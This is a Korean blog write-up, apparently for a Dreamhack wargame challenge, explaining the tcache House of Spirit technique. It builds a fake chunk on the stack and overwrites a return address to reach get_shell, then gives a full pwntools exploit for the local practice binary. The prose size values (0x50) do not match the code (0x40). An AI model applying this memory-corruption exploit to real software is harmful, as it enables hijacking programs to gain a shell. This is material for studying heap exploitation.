스택 영역의 주소를 알 수 있는 상황에서 스택 영역에 fake chunk를 해제해 tcache_entry에 등록하고 이 영역을 할당받을 때 힙 청크 포인터를 원하는 주소로 바꿀 수 있는 기법이다.
위에서부터 차례로 ptr, v5(size)
ptr 변수가 2개가 있는데, 하나는 지역변수이고 다른 하나는
bss 세션에 있는 전역변수이다.
청크 할당 시 전역변수 ptr에 청크에 대한 포인터를 저장하고 입력한 v5(size)만큼 데이터를 입력받는다.
지역변수 ptr은 2번 메뉴에서 해제하고자 하는 청크에 대한 포인터 주소를 입력하면 해당 청크를 해제하기 위해 있는 변수이다.
(1) name에 p64(0) + p64(0x50) 입력한다.
- 헤더(0x10) + 데이터(0x40) = 0x50
(2) name+0x10 주소를 free 인자로 전달해서 해제한다.
- name 위치에 0x40이 적혀있으므로 이것을 size로 착각하고 정상적으로 free해줄 것이다.
힙 청크를 먼저 할당해줘서 힙을 생성해야 tcache가 생긴다.
힙 청크 1개 할당한 후 할당받고 싶은 포인터를 free의 인자로 줬더니 tcache에 해당 주소가 적힌 것을 확인할 수 있다.
(3) name+0x10에서 할당받아서 return address를 덮는다.
- 이때 사이즈는 헤더 제외 데이터 크기인 0x30으로 줘야 원하는 위치에서 할당받을 수 있다. (tcache에 등록된)
- 'A'*0x28 더미 입력 후 return address 값 조작 가능하다.
- return address에 get_shell 주소 준다.
정상적으로 원하는 위치에서 청크를 할당받아 return address를 get_shell로 덮은 것을 확인할 수 있다.
(4) 3번 메뉴로 반복문 끝내서 return address로 리턴해서 쉘 획득한다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./house_of_spirit")
elf = ELF("./house_of_spirit")
get_shell = elf.symbols['get_shell']
def create(size, data):
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Data: ", data)
def delete(addr):
p.sendlineafter("> ", '2')
p.sendlineafter("Addr: ", str(addr))
def exit():
p.sendlineafter("> ", '3')
data = p64(0) + p64(0x40) # header(0x10) + data(0x30) = 0x40
p.sendafter("name: ", data)
leak = int(p.recv(14), 16)
log.info("leak: ", hex(leak))
free_ptr = leak + 0x10
log.info("free_ptr: "+hex(free_ptr))
create(0x40, 'A'*0x40)
delete(free_ptr)
create(0x30, 'A'*0x28 + p64(get_shell))
exit() # to return
p.interactive()
[Dreamhack] House of Force (0) | 2020.06.13 |
---|---|
[Dreamhack] tcache dup (0) | 2020.06.12 |
[DreamHack] hook (0) | 2020.05.31 |
[DreamHack] basic_exploitation_000 (0) | 2020.05.31 |
[DreamHack] basic_exploitation_003 (0) | 2020.05.31 |